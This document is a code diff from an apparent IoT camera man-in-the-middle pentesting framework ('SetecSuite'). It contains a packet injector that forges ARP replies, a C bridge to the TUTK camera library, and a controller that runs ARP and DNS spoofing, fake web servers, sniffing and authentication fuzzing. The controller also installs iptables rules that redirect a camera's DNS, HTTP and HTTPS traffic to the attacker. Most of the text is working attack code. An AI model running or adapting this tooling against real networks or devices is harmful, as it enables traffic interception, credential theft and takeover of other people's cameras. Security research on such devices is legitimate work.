"payload": "hex string or ascii",
|
||||||
|
"payload_hex": true/false,
|
||||||
|
"domain": "for dns_query",
|
||||||
|
"src_mac": "...", "dst_mac": "...",
|
||||||
|
"src_ip": "...",
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
ptype = params.get("type", "udp")
|
||||||
|
iface = cfg["iface"]
|
||||||
|
|
||||||
|
if ptype == "udp":
|
||||||
|
dst_ip = params.get("dst_ip", cfg["camera_ip"])
|
||||||
|
dst_port = int(params.get("dst_port", 10240))
|
||||||
|
src_port = int(params.get("src_port", 0))
|
||||||
|
payload = params.get("payload", "")
|
||||||
|
if params.get("payload_hex"):
|
||||||
|
payload = bytes.fromhex(payload)
|
||||||
|
else:
|
||||||
|
payload = payload.encode()
|
||||||
|
return {"ok": send_udp(dst_ip, dst_port, payload, src_port)}
|
||||||
|
|
||||||
|
elif ptype == "arp_request":
|
||||||
|
our_mac = open(f"/sys/class/net/{iface}/address").read().strip()
|
||||||
|
target_ip = params.get("dst_ip", cfg["camera_ip"])
|
||||||
|
pkt = build_arp_request(our_mac, cfg["our_ip"], target_ip)
|
||||||
|
return {"ok": send_raw(iface, pkt)}
|
||||||
|
|
||||||
|
elif ptype == "arp_reply":
|
||||||
|
src_mac = params.get("src_mac", open(f"/sys/class/net/{iface}/address").read().strip())
|
||||||
|
dst_mac = params.get("dst_mac", cfg["camera_mac"])
|
||||||
|
src_ip = params.get("src_ip", cfg["router_ip"])
|
||||||
|
dst_ip = params.get("dst_ip", cfg["camera_ip"])
|
||||||
|
pkt = build_arp_reply(src_mac, dst_mac, src_ip, dst_ip)
|
||||||
|
log(f"INJECT: ARP reply {src_ip} is-at {src_mac} -> {dst_ip}", C_IMPORTANT)
|
||||||
|
return {"ok": send_raw(iface, pkt)}
|
||||||
|
|
||||||
|
elif ptype == "dns_query":
|
||||||
|
domain = params.get("domain", "portal.ubianet.com")
|
||||||
|
payload = build_dns_query(domain)
|
||||||
|
dst_ip = params.get("dst_ip", cfg["router_ip"])
|
||||||
|
return {"ok": send_udp(dst_ip, 53, payload)}
|
||||||
|
|
||||||
|
elif ptype == "raw":
|
||||||
|
payload = params.get("payload", "")
|
||||||
|
if params.get("payload_hex"):
|
||||||
|
payload = bytes.fromhex(payload)
|
||||||
|
else:
|
||||||
|
payload = payload.encode()
|
||||||
|
# Need full ethernet frame for raw
|
||||||
|
return {"ok": send_raw(iface, payload)}
|
||||||
|
|
||||||
|
else:
|
||||||
|
log(f"INJECT: unknown type '{ptype}'", C_ERROR)
|
||||||
|
return {"ok": False, "error": f"unknown type: {ptype}"}
|
||||||
19
iotc/build_bridge.sh
Executable file
19
iotc/build_bridge.sh
Executable file
@@ -0,0 +1,19 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Build the IOTC bridge program for ARM32 (runs under qemu-arm-static)
|
||||||
|
cd "$(dirname "$0")/.."
|
||||||
|
|
||||||
|
SODIR="$(pwd)/lib"
|
||||||
|
|
||||||
|
echo "Compiling IOTC bridge (dynamic, hard-float)..."
|
||||||
|
arm-linux-gnueabihf-gcc -o iotc/iotc_bridge iotc/iotc_bridge.c -L"$SODIR" -lIOTCAPIs_ALL -lpthread -Wl,-rpath,"$SODIR"
|
||||||
|
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
echo "Success: $(file iotc/iotc_bridge)"
|
||||||
|
echo ""
|
||||||
|
echo "Test with:"
|
||||||
|
echo " qemu-arm-static -L /usr/arm-linux-gnueabi iotc/iotc_bridge"
|
||||||
|
echo " Then type: init"
|
||||||
|
else
|
||||||
|
echo "Build failed"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
BIN
iotc/iotc_bridge
Executable file
BIN
iotc/iotc_bridge
Executable file
Binary file not shown.
269
iotc/iotc_bridge.c
Normal file
269
iotc/iotc_bridge.c
Normal file
@@ -0,0 +1,269 @@
|
|||||||
|
/*
|
||||||
|
* IOTC Bridge — ARM32 process that loads the TUTK library and
|
||||||
|
* communicates with the Python TUI over stdin/stdout JSON.
|
||||||
|
*
|
||||||
|
* Compile: arm-linux-gnueabi-gcc -o iotc_bridge iotc_bridge.c -L../lib -lIOTCAPIs_ALL -lpthread -ldl
|
||||||
|
* Run: qemu-arm-static -L /usr/arm-linux-gnueabi ./iotc_bridge
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
|
/* IOTC API declarations (from IOTCAPIs.h) */
|
||||||
|
extern int IOTC_Initialize2(int udp_port);
|
||||||
|
extern int IOTC_DeInitialize(void);
|
||||||
|
extern int IOTC_Get_SessionID(void);
|
||||||
|
extern int IOTC_Connect_ByUID_Parallel(const char *UID, int SID);
|
||||||
|
extern int IOTC_Session_Close(int SID);
|
||||||
|
extern int IOTC_Session_Check(int SID, void *info);
|
||||||
|
extern int IOTC_Lan_Search2(void *result, int max, int timeout_ms);
|
||||||
|
|
||||||
|
/* AV API declarations (from AVAPIs.h) */
|
||||||
|
extern int avInitialize(int max_channels);
|
||||||
|
extern int avDeInitialize(void);
|
||||||
|
extern int avClientStart(int SID, const char *user, const char *pass,
|
||||||
|
int timeout, unsigned int *srvtype, int channel);
|
||||||
|
extern void avClientStop(int avIndex);
|
||||||
|
extern int avSendIOCtrl(int avIndex, int type, const char *data, int len);
|
||||||
|
extern int avRecvIOCtrl(int avIndex, int *type, char *data, int len, int timeout_ms);
|
||||||
|
|
||||||
|
/* Simple JSON output helpers */
|
||||||
|
static void json_ok(const char *key, int value) {
|
||||||
|
printf("{\"ok\":true,\"%s\":%d}\n", key, value);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void json_ok_str(const char *key, const char *value) {
|
||||||
|
printf("{\"ok\":true,\"%s\":\"%s\"}\n", key, value);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void json_err(const char *msg) {
|
||||||
|
printf("{\"ok\":false,\"error\":\"%s\"}\n", msg);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void json_data(const char *cmd, const unsigned char *data, int len) {
|
||||||
|
printf("{\"ok\":true,\"cmd\":\"%s\",\"len\":%d,\"hex\":\"", cmd, len);
|
||||||
|
for (int i = 0; i < len && i < 4096; i++)
|
||||||
|
printf("%02x", data[i]);
|
||||||
|
printf("\"}\n");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* State */
|
||||||
|
static int g_sid = -1;
|
||||||
|
static int g_av_index = -1;
|
||||||
|
static int g_initialized = 0;
|
||||||
|
|
||||||
|
static int do_init(void) {
|
||||||
|
if (g_initialized) {
|
||||||
|
json_err("already initialized");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
int ret = IOTC_Initialize2(0);
|
||||||
|
if (ret < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "IOTC_Initialize2 failed: %d", ret);
|
||||||
|
json_err(buf);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
ret = avInitialize(16);
|
||||||
|
if (ret < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "avInitialize failed: %d", ret);
|
||||||
|
json_err(buf);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
g_initialized = 1;
|
||||||
|
json_ok("init", 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int do_connect(const char *uid) {
|
||||||
|
if (!g_initialized) {
|
||||||
|
json_err("not initialized");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
int sid = IOTC_Get_SessionID();
|
||||||
|
if (sid < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "IOTC_Get_SessionID failed: %d", sid);
|
||||||
|
json_err(buf);
|
||||||
|
return sid;
|
||||||
|
}
|
||||||
|
g_sid = IOTC_Connect_ByUID_Parallel(uid, sid);
|
||||||
|
if (g_sid < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "connect failed: %d", g_sid);
|
||||||
|
json_err(buf);
|
||||||
|
return g_sid;
|
||||||
|
}
|
||||||
|
json_ok("sid", g_sid);
|
||||||
|
return g_sid;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int do_login(const char *user, const char *pass) {
|
||||||
|
if (g_sid < 0) {
|
||||||
|
json_err("not connected");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
unsigned int srvtype = 0;
|
||||||
|
g_av_index = avClientStart(g_sid, user, pass, 20, &srvtype, 0);
|
||||||
|
if (g_av_index < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "avClientStart failed: %d", g_av_index);
|
||||||
|
json_err(buf);
|
||||||
|
return g_av_index;
|
||||||
|
}
|
||||||
|
json_ok("av_index", g_av_index);
|
||||||
|
return g_av_index;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int do_ioctrl(int cmd_type, const char *hex_data) {
|
||||||
|
if (g_av_index < 0) {
|
||||||
|
json_err("not logged in");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Parse hex data */
|
||||||
|
int hex_len = strlen(hex_data);
|
||||||
|
int data_len = hex_len / 2;
|
||||||
|
unsigned char *data = calloc(1, data_len + 1);
|
||||||
|
for (int i = 0; i < data_len; i++) {
|
||||||
|
unsigned int byte;
|
||||||
|
sscanf(hex_data + i * 2, "%2x", &byte);
|
||||||
|
data[i] = (unsigned char)byte;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avSendIOCtrl(g_av_index, cmd_type, (const char *)data, data_len);
|
||||||
|
free(data);
|
||||||
|
|
||||||
|
if (ret < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "avSendIOCtrl failed: %d", ret);
|
||||||
|
json_err(buf);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Try to receive response */
|
||||||
|
unsigned char resp[8192];
|
||||||
|
int resp_type = 0;
|
||||||
|
int resp_len = avRecvIOCtrl(g_av_index, &resp_type, (char *)resp, sizeof(resp), 5000);
|
||||||
|
if (resp_len > 0) {
|
||||||
|
json_data("ioctrl_resp", resp, resp_len);
|
||||||
|
} else {
|
||||||
|
json_ok("sent", cmd_type);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int do_lan_search(void) {
|
||||||
|
if (!g_initialized) {
|
||||||
|
json_err("not initialized");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
/* Search result struct: 84 bytes per entry (UID[20] + IP[16] + ...)] */
|
||||||
|
unsigned char results[84 * 16];
|
||||||
|
memset(results, 0, sizeof(results));
|
||||||
|
int count = IOTC_Lan_Search2(results, 16, 3000);
|
||||||
|
if (count < 0) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "lan_search failed: %d", count);
|
||||||
|
json_err(buf);
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
printf("{\"ok\":true,\"count\":%d,\"devices\":[", count);
|
||||||
|
for (int i = 0; i < count; i++) {
|
||||||
|
unsigned char *entry = results + (i * 84);
|
||||||
|
char uid[21] = {0};
|
||||||
|
memcpy(uid, entry, 20);
|
||||||
|
if (i > 0) printf(",");
|
||||||
|
printf("\"%s\"", uid);
|
||||||
|
}
|
||||||
|
printf("]}\n");
|
||||||
|
fflush(stdout);
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void do_disconnect(void) {
|
||||||
|
if (g_av_index >= 0) {
|
||||||
|
avClientStop(g_av_index);
|
||||||
|
g_av_index = -1;
|
||||||
|
}
|
||||||
|
if (g_sid >= 0) {
|
||||||
|
IOTC_Session_Close(g_sid);
|
||||||
|
g_sid = -1;
|
||||||
|
}
|
||||||
|
json_ok("disconnected", 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void do_deinit(void) {
|
||||||
|
do_disconnect();
|
||||||
|
if (g_initialized) {
|
||||||
|
avDeInitialize();
|
||||||
|
IOTC_DeInitialize();
|
||||||
|
g_initialized = 0;
|
||||||
|
}
|
||||||
|
json_ok("deinit", 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
char line[8192];
|
||||||
|
|
||||||
|
fprintf(stderr, "IOTC Bridge started. Send JSON commands on stdin.\n");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), stdin)) {
|
||||||
|
/* Strip newline */
|
||||||
|
line[strcspn(line, "\r\n")] = 0;
|
||||||
|
if (strlen(line) == 0) continue;
|
||||||
|
|
||||||
|
/* Very simple command parsing: cmd arg1 arg2 ... */
|
||||||
|
char cmd[64] = {0};
|
||||||
|
char arg1[256] = {0};
|
||||||
|
char arg2[256] = {0};
|
||||||
|
char arg3[8192] = {0};
|
||||||
|
sscanf(line, "%63s %255s %255s %8191s", cmd, arg1, arg2, arg3);
|
||||||
|
|
||||||
|
if (strcmp(cmd, "init") == 0) {
|
||||||
|
do_init();
|
||||||
|
} else if (strcmp(cmd, "connect") == 0) {
|
||||||
|
if (strlen(arg1) == 0) {
|
||||||
|
json_err("usage: connect <UID>");
|
||||||
|
} else {
|
||||||
|
do_connect(arg1);
|
||||||
|
}
|
||||||
|
} else if (strcmp(cmd, "login") == 0) {
|
||||||
|
if (strlen(arg1) == 0 || strlen(arg2) == 0) {
|
||||||
|
json_err("usage: login <user> <pass>");
|
||||||
|
} else {
|
||||||
|
do_login(arg1, arg2);
|
||||||
|
}
|
||||||
|
} else if (strcmp(cmd, "ioctrl") == 0) {
|
||||||
|
if (strlen(arg1) == 0) {
|
||||||
|
json_err("usage: ioctrl <cmd_id> [hex_data]");
|
||||||
|
} else {
|
||||||
|
int cmd_id = atoi(arg1);
|
||||||
|
do_ioctrl(cmd_id, strlen(arg2) > 0 ? arg2 : "");
|
||||||
|
}
|
||||||
|
} else if (strcmp(cmd, "search") == 0) {
|
||||||
|
do_lan_search();
|
||||||
|
} else if (strcmp(cmd, "disconnect") == 0) {
|
||||||
|
do_disconnect();
|
||||||
|
} else if (strcmp(cmd, "quit") == 0 || strcmp(cmd, "exit") == 0) {
|
||||||
|
do_deinit();
|
||||||
|
break;
|
||||||
|
} else if (strcmp(cmd, "help") == 0) {
|
||||||
|
printf("{\"commands\":[\"init\",\"connect <UID>\",\"login <user> <pass>\",\"ioctrl <cmd_id> [hex]\",\"search\",\"disconnect\",\"quit\"]}\n");
|
||||||
|
fflush(stdout);
|
||||||
|
} else {
|
||||||
|
json_err("unknown command");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
do_deinit();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
531
mitm.py
Normal file
531
mitm.py
Normal file
@@ -0,0 +1,531 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
SetecSuite — Camera MITM Tool
|
||||||
|
All-in-one IoT camera pentesting framework with TUI.
|
||||||
|
|
||||||
|
Usage: sudo python3 mitm.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import curses
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import signal
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from collections import deque
|
||||||
|
|
||||||
|
# Add project root to path
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from config import Config
|
||||||
|
from utils.log import log, log_lines, init_logfile, close_logfile, lock
|
||||||
|
from utils.log import C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT
|
||||||
|
from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch
|
||||||
|
from api import ubox_client, server as rest_server, fuzzer
|
||||||
|
from inject import packet
|
||||||
|
|
||||||
|
|
||||||
|
SERVICE_DEFS = [
|
||||||
|
# (name, flag_key, runner_factory)
|
||||||
|
("arp", "arp", lambda cfg, flags, ck: arp_spoof.run(cfg, flags, ck)),
|
||||||
|
("dns", "dns", lambda cfg, flags, ck: dns_spoof.run(cfg, flags, ck)),
|
||||||
|
("http", "http", lambda cfg, flags, ck: http_server.run_http(cfg, flags, ck)),
|
||||||
|
("https", "https", lambda cfg, flags, ck: http_server.run_https(cfg, flags, ck)),
|
||||||
|
("udp10240", "udp10240", lambda cfg, flags, ck: udp_listener.run(10240, cfg, flags, ck)),
|
||||||
|
("udp20001", "udp20001", lambda cfg, flags, ck: udp_listener.run(20001, cfg, flags, ck)),
|
||||||
|
("sniffer", "sniffer", lambda cfg, flags, ck: sniffer.run(cfg, flags, ck)),
|
||||||
|
("intruder", "intruder", lambda cfg, flags, ck: intruder_watch.run(cfg, flags, ck)),
|
||||||
|
]
|
||||||
|
|
||||||
|
SERVICE_NAMES = [s[0] for s in SERVICE_DEFS]
|
||||||
|
SERVICE_BY_NAME = {s[0]: s for s in SERVICE_DEFS}
|
||||||
|
|
||||||
|
|
||||||
|
class Controller:
|
||||||
|
def __init__(self):
|
||||||
|
self.cfg = Config()
|
||||||
|
self.flags = {}
|
||||||
|
self.running = True
|
||||||
|
self.services_running = False
|
||||||
|
self.fuzzer = None
|
||||||
|
self._devices = []
|
||||||
|
# per-service running state for individual on/off
|
||||||
|
self._svc_running = {n: False for n in SERVICE_NAMES}
|
||||||
|
self._iptables_up = False
|
||||||
|
|
||||||
|
def get_devices(self):
|
||||||
|
return self._devices
|
||||||
|
|
||||||
|
# ─── Service Control ──────────────────────────────────
|
||||||
|
def _ensure_iptables(self):
|
||||||
|
if not self._iptables_up:
|
||||||
|
os.system("pkill -f arpspoof 2>/dev/null")
|
||||||
|
os.makedirs(self.cfg["log_dir"], exist_ok=True)
|
||||||
|
self._setup_iptables()
|
||||||
|
self._iptables_up = True
|
||||||
|
|
||||||
|
def start_service(self, name):
|
||||||
|
if name not in SERVICE_BY_NAME:
|
||||||
|
log(f"unknown service: {name}", C_ERROR)
|
||||||
|
return
|
||||||
|
if self._svc_running.get(name):
|
||||||
|
log(f"{name} already running", C_ERROR)
|
||||||
|
return
|
||||||
|
self._ensure_iptables()
|
||||||
|
# Free ports if needed
|
||||||
|
if name == "http":
|
||||||
|
os.system("fuser -k 80/tcp 2>/dev/null")
|
||||||
|
elif name == "https":
|
||||||
|
os.system("fuser -k 443/tcp 2>/dev/null")
|
||||||
|
elif name == "dns":
|
||||||
|
os.system("fuser -k 53/udp 2>/dev/null")
|
||||||
|
elif name == "udp10240":
|
||||||
|
os.system("fuser -k 10240/udp 2>/dev/null")
|
||||||
|
elif name == "udp20001":
|
||||||
|
os.system("fuser -k 20001/udp 2>/dev/null")
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
self._svc_running[name] = True
|
||||||
|
check = lambda n=name: self.running and self._svc_running.get(n, False)
|
||||||
|
runner = SERVICE_BY_NAME[name][2]
|
||||||
|
threading.Thread(
|
||||||
|
target=lambda: runner(self.cfg, self.flags, check),
|
||||||
|
daemon=True,
|
||||||
|
name=f"svc-{name}",
|
||||||
|
).start()
|
||||||
|
self.services_running = any(self._svc_running.values())
|
||||||
|
log(f"started: {name}", C_SUCCESS)
|
||||||
|
|
||||||
|
def stop_service(self, name):
|
||||||
|
if name not in SERVICE_BY_NAME:
|
||||||
|
log(f"unknown service: {name}", C_ERROR)
|
||||||
|
return
|
||||||
|
if not self._svc_running.get(name):
|
||||||
|
log(f"{name} not running", C_ERROR)
|
||||||
|
return
|
||||||
|
self._svc_running[name] = False
|
||||||
|
log(f"stopping: {name}…", C_INFO)
|
||||||
|
# Force-close listening sockets so accept() unblocks
|
||||||
|
if name == "http":
|
||||||
|
os.system("fuser -k 80/tcp 2>/dev/null")
|
||||||
|
elif name == "https":
|
||||||
|
os.system("fuser -k 443/tcp 2>/dev/null")
|
||||||
|
elif name == "dns":
|
||||||
|
os.system("fuser -k 53/udp 2>/dev/null")
|
||||||
|
elif name == "udp10240":
|
||||||
|
os.system("fuser -k 10240/udp 2>/dev/null")
|
||||||
|
elif name == "udp20001":
|
||||||
|
os.system("fuser -k 20001/udp 2>/dev/null")
|
||||||
|
time.sleep(0.5)
|
||||||
|
self.flags[name] = False
|
||||||
|
self.services_running = any(self._svc_running.values())
|
||||||
|
|
||||||
|
def toggle_service(self, name):
|
||||||
|
if self._svc_running.get(name):
|
||||||
|
self.stop_service(name)
|
||||||
|
else:
|
||||||
|
self.start_service(name)
|
||||||
|
|
||||||
|
def start_services(self):
|
||||||
|
if self.services_running:
|
||||||
|
log("Services already running", C_ERROR)
|
||||||
|
return
|
||||||
|
self._ensure_iptables()
|
||||||
|
for name in SERVICE_NAMES:
|
||||||
|
self.start_service(name)
|
||||||
|
time.sleep(0.3)
|
||||||
|
log("All MITM services started", C_SUCCESS)
|
||||||
|
|
||||||
|
def stop_services(self):
|
||||||
|
if not self.services_running:
|
||||||
|
log("Services not running", C_ERROR)
|
||||||
|
return
|
||||||
|
log("Stopping all services...", C_INFO)
|
||||||
|
for name in SERVICE_NAMES:
|
||||||
|
if self._svc_running.get(name):
|
||||||
|
self.stop_service(name)
|
||||||
|
time.sleep(1)
|
||||||
|
self._cleanup_iptables()
|
||||||
|
self._iptables_up = False
|
||||||
|
self.flags.clear()
|
||||||
|
self.services_running = False
|
||||||
|
log("Services stopped", C_INFO)
|
||||||
|
|
||||||
|
def _setup_iptables(self):
|
||||||
|
cam = self.cfg["camera_ip"]
|
||||||
|
us = self.cfg["our_ip"]
|
||||||
|
for cmd in [
|
||||||
|
"sysctl -w net.ipv4.ip_forward=1",
|
||||||
|
"iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP",
|
||||||
|
f"iptables -t nat -A PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53",
|
||||||
|
f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
|
||||||
|
f"iptables -t nat -A PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
|
||||||
|
]:
|
||||||
|
os.system(cmd + " >/dev/null 2>&1")
|
||||||
|
log("iptables rules applied", C_INFO)
|
||||||
|
|
||||||
|
def _cleanup_iptables(self):
|
||||||
|
cam = self.cfg["camera_ip"]
|
||||||
|
us = self.cfg["our_ip"]
|
||||||
|
for cmd in [
|
||||||
|
"iptables -D OUTPUT -p icmp --icmp-type redirect -j DROP",
|
||||||
|
f"iptables -t nat -D PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53",
|
||||||
|
f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80",
|
||||||
|
f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443",
|
||||||
|
]:
|
||||||
|
os.system(cmd + " >/dev/null 2>&1")
|
||||||
|
|
||||||
|
# ─── Fuzzer ───────────────────────────────────────────
|
||||||
|
def run_fuzz_endpoints(self):
|
||||||
|
self.fuzzer = fuzzer.Fuzzer(self.cfg)
|
||||||
|
self.fuzzer.fuzz_endpoints()
|
||||||
|
self.fuzzer.save_results()
|
||||||
|
|
||||||
|
def run_fuzz_params(self, endpoint):
|
||||||
|
self.fuzzer = fuzzer.Fuzzer(self.cfg)
|
||||||
|
self.fuzzer.fuzz_params(endpoint)
|
||||||
|
self.fuzzer.save_results()
|
||||||
|
|
||||||
|
def run_fuzz_auth(self):
|
||||||
|
self.fuzzer = fuzzer.Fuzzer(self.cfg)
|
||||||
|
self.fuzzer.fuzz_auth()
|
||||||
|
self.fuzzer.save_results()
|
||||||
|
|
||||||
|
# ─── Packet Injection ─────────────────────────────────
|
||||||
|
def inject_packet(self, params):
|
||||||
|
return packet.inject(self.cfg, params)
|
||||||
|
|
||||||
|
# ─── Command Processing ───────────────────────────────
|
||||||
|
def process_command(self, cmd):
|
||||||
|
parts = cmd.strip().split()
|
||||||
|
if not parts:
|
||||||
|
return
|
||||||
|
c = parts[0].lower()
|
||||||
|
|
||||||
|
if c == "help":
|
||||||
|
for line in HELP.split("\n"):
|
||||||
|
log(line, C_INFO)
|
||||||
|
|
||||||
|
elif c == "start":
|
||||||
|
threading.Thread(target=self.start_services, daemon=True).start()
|
||||||
|
elif c == "stop":
|
||||||
|
threading.Thread(target=self.stop_services, daemon=True).start()
|
||||||
|
elif c == "status":
|
||||||
|
flags = ", ".join(f"{k}:{'ON' if v else 'off'}" for k, v in self.flags.items())
|
||||||
|
log(f"MITM: {'RUNNING' if self.services_running else 'STOPPED'} {flags}", C_INFO)
|
||||||
|
log(f"REST API: :{self.cfg['rest_port']} Token: {'yes' if self.cfg['api_token'] else 'no'}", C_INFO)
|
||||||
|
|
||||||
|
elif c == "config":
|
||||||
|
for k, v in self.cfg.safe_dict().items():
|
||||||
|
log(f" {k}: {v}", C_INFO)
|
||||||
|
elif c == "set" and len(parts) >= 3:
|
||||||
|
key = parts[1]
|
||||||
|
val = " ".join(parts[2:])
|
||||||
|
if key in self.cfg.keys():
|
||||||
|
# Type coerce
|
||||||
|
old = self.cfg[key]
|
||||||
|
if isinstance(old, int):
|
||||||
|
val = int(val)
|
||||||
|
elif isinstance(old, float):
|
||||||
|
val = float(val)
|
||||||
|
self.cfg[key] = val
|
||||||
|
self.cfg.save()
|
||||||
|
log(f"Set {key} = {val if 'password' not in key else '***'}", C_SUCCESS)
|
||||||
|
else:
|
||||||
|
log(f"Unknown key. Valid: {', '.join(self.cfg.keys())}", C_ERROR)
|
||||||
|
elif c == "save":
|
||||||
|
self.cfg.save()
|
||||||
|
log("Config saved", C_SUCCESS)
|
||||||
|
|
||||||
|
elif c == "login":
|
||||||
|
threading.Thread(target=ubox_client.login, args=(self.cfg,), daemon=True).start()
|
||||||
|
elif c == "devices":
|
||||||
|
def _get():
|
||||||
|
self._devices = ubox_client.devices(self.cfg)
|
||||||
|
threading.Thread(target=_get, daemon=True).start()
|
||||||
|
elif c == "firmware":
|
||||||
|
threading.Thread(target=ubox_client.check_firmware, args=(self.cfg,), daemon=True).start()
|
||||||
|
elif c == "services":
|
||||||
|
threading.Thread(target=ubox_client.device_services, args=(self.cfg,), daemon=True).start()
|
||||||
|
elif c == "families":
|
||||||
|
threading.Thread(target=ubox_client.families, args=(self.cfg,), daemon=True).start()
|
||||||
|
elif c == "api" and len(parts) >= 2:
|
||||||
|
ep = " ".join(parts[1:])
|
||||||
|
threading.Thread(target=ubox_client.raw_request, args=(self.cfg, ep), daemon=True).start()
|
||||||
|
|
||||||
|
elif c == "fuzz":
|
||||||
|
if len(parts) < 2:
|
||||||
|
log("Usage: fuzz endpoints|params <ep>|auth|stop|results", C_ERROR)
|
||||||
|
elif parts[1] == "endpoints":
|
||||||
|
threading.Thread(target=self.run_fuzz_endpoints, daemon=True).start()
|
||||||
|
elif parts[1] == "params" and len(parts) >= 3:
|
||||||
|
threading.Thread(target=self.run_fuzz_params, args=(parts[2],), daemon=True).start()
|
||||||
|
elif parts[1] == "auth":
|
||||||
|
threading.Thread(target=self.run_fuzz_auth, daemon=True).start()
|
||||||
|
elif parts[1] == "stop":
|
||||||
|
if self.fuzzer:
|
||||||
|
self.fuzzer.stop()
|
||||||
|
log("Fuzzer stopped", C_INFO)
|
||||||
|
elif parts[1] == "results":
|
||||||
|
if self.fuzzer:
|
||||||
|
self.fuzzer.save_results()
|
||||||
|
else:
|
||||||
|
log("No fuzzer results", C_ERROR)
|
||||||
|
else:
|
||||||
|
log("Usage: fuzz endpoints|params <ep>|auth|stop|results", C_ERROR)
|
||||||
|
|
||||||
|
elif c == "inject":
|
||||||
|
if len(parts) < 3:
|
||||||
|
log("Usage: inject udp <ip> <port> <hex_payload>", C_ERROR)
|
||||||
|
log(" inject arp_reply <src_ip> <dst_ip>", C_ERROR)
|
||||||
|
log(" inject dns_query <domain>", C_ERROR)
|
||||||
|
elif parts[1] == "udp" and len(parts) >= 5:
|
||||||
|
packet.inject(self.cfg, {
|
||||||
|
"type": "udp", "dst_ip": parts[2],
|
||||||
|
"dst_port": int(parts[3]),
|
||||||
|
"payload": " ".join(parts[4:]),
|
||||||
|
"payload_hex": True,
|
||||||
|
})
|
||||||
|
elif parts[1] == "arp_reply" and len(parts) >= 4:
|
||||||
|
packet.inject(self.cfg, {
|
||||||
|
"type": "arp_reply",
|
||||||
|
"src_ip": parts[2], "dst_ip": parts[3],
|
||||||
|
})
|
||||||
|
elif parts[1] == "dns_query" and len(parts) >= 3:
|
||||||
|
packet.inject(self.cfg, {"type": "dns_query", "domain": parts[2]})
|
||||||
|
else:
|
||||||
|
log("inject: invalid args", C_ERROR)
|
||||||
|
|
||||||
|
elif c == "clear":
|
||||||
|
with lock:
|
||||||
|
log_lines.clear()
|
||||||
|
|
||||||
|
elif c in ("quit", "q", "exit"):
|
||||||
|
if self.services_running:
|
||||||
|
self.stop_services()
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
else:
|
||||||
|
log(f"Unknown: {cmd}. Type 'help'.", C_ERROR)
|
||||||
|
|
||||||
|
|
||||||
|
HELP = """
|
||||||
|
── MITM Services ──────────────────────────────────────────
|
||||||
|
start Start all MITM services
|
||||||
|
stop Stop all services, restore ARP
|
||||||
|
status Show running services
|
||||||
|
|
||||||
|
── Configuration ──────────────────────────────────────────
|
||||||
|
config Show all settings
|
||||||
|
set <key> <value> Set config (camera_ip, our_ip, router_ip, iface,
|
||||||
|
camera_mac, api_email, api_password, rest_port,
|
||||||
|
fuzzer_threads, fuzzer_delay)
|
||||||
|
save Save config to disk
|
||||||
|
|
||||||
|
